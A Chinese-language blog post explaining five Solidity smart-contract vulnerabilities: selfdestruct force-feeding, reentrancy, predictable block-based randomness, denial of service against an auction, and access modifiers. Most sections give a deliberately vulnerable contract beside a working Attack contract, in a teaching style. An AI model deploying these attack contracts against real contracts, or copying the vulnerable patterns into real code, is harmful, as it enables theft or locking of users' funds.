这是我第一篇文章
solidity漏洞 1,自毁函数攻击 通过selfdestruce自会函数进行强制转账,导致合约中受到7ether,然后卡死
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 // SPDX-License-Identifier: HIT pragma solidity^0.8.0; contract EtherGame{#幸运七游戏:第七个传入以太币的人会得到前面的以太币 address public winner; uint TARGET_AMOUNT=7 ether; function deposit()public payable{ require(msg.value==1 ether,"you can only send 1 ether"); uint balances=address(this).balance; require(balances<=TARGET_AMOUNT,"game is over"); if(balances==TARGET_AMOUNT){ winner=msg.sender; } } function withdraw() public { require(msg.sender==winner,"not pass"); (bool send,)=msg.sender.call{value: address(this).balance}(""); require(send,"failed"); winner=address(0); } function getbalance()public view returns(uint){ return address(this).balance;} } contract Attack{ constructor()payable{ } function attack(address to)external{ selfdestruct(payable(to)); } function getBalance()public view returns(uint){ return address(this).balance; } }
2,重入攻击 该攻击利用fallback函数的触发来做到递归取款,一直会取以太只到取完。fallback触发条件为:1.收到以太 2.调用合约中不存在的函数时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 pragma solidity ^0.7.6;#重入攻击只能在0.8.0版本以下 contract Bank { mapping(address => uint) public balances; //账本,用来记录每一个用户的账户余额 //取款 function withdraw(uint _amount) external payable { //用户余额大于存款额,否侧错误 require (balances[msg.sender] >= _amount,"balance is insufficient"); //转账给用户 (bool sent,) = msg.sender.call{value: _amount}(""); //是否成功,不成功返回数据 require(sent, "Failed to send Ether"); //扣除转出去的钱 balances[msg.sender] -= _amount; } //存款 function deposit() public payable { balances[msg.sender] += msg.value;//存款 [用户可使用] }//查看余额 function getBalance() external view returns (uint) { return address(this).balance; } constructor() payable{} } contract Attack { //攻击目标 Bank public bank; //参数为攻击目标的地址 constructor(address payable _address)payable { bank = Bank(_address); } //2攻击 function attack() external payable { bank.deposit{value: 1 ether}();//先存再取出 bank.withdraw(1 ether); } //回退 fallback() external payable { if (address(bank).balance >= 1 ether) { bank.withdraw(1 ether); } } // 查看合同余额 function getBalance() external view returns (uint) { return address(this).balance; } }
3,随机数攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: HIT pragma solidity^0.8.0; contract Random{ function guess()public payable { bool result=_getRandom(); if(result){ address _to=msg.sender; _to.call{value:1 ether}(""); } } function _getRandom()public view returns(bool){ uint random=uint(keccak256(abi.encodePacked(block.difficulty,block.timestamp))); if(random%2==0){ return false; } else{return true;} } constructor()payable{} } contract Attack{ function attack(address _random)external payable{ for(uint i=0;i<1;i++){ if(payable(_random).balance<1){ return; } if(uint(keccak256(abi.encodePacked(block.difficulty,block.timestamp)))%2!=0){ Random(_random).guess(); } } } function getBalance()external view returns(uint){ return address(this).balance; } receive()external payable{} }
4,拒绝服务攻击 利用合约无法收款的特性来攻击,当合约没用fallback函数与receive函数时合约就无法收到外部转账或者退钱,因此投标函数无法完整的向下执行,不会改变winner的地址,winner会被一直霸占
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // SPDX-License-Identifier: HIT pragma solidity^0.8.0; contract Auction{ address public winner; uint public amount; function bid()external payable{ require(msg.value>0,"amount is too small"); require(msg.value>amount,"amount is too small");//如不符合要求则进行回退 payable(winner).transfer(amount); winner=msg.sender; amount=msg.value; } function getBalance()external view returns(uint){ return address(this).balance; } receive()external payable{} } contract Attack{ constructor()payable{ } function attack(address target,uint amount)external payable{ Auction(payable (target)).bid{value:amount}(); } }
5,访问控制攻击 1 2 3 4 5 public – 公共状态变量可以在内部访问,也可以通过消息访问。对于公共状态变量,将生成一个自动getter函数。 internal – 内部状态变量只能从当前合约或其派生合约内访问。 private – 私有状态变量只能从当前合约内部访问,派生合约内不能访问 external — 外部状态变量只能在合约之外调用,不能被合约内的其他函数调用。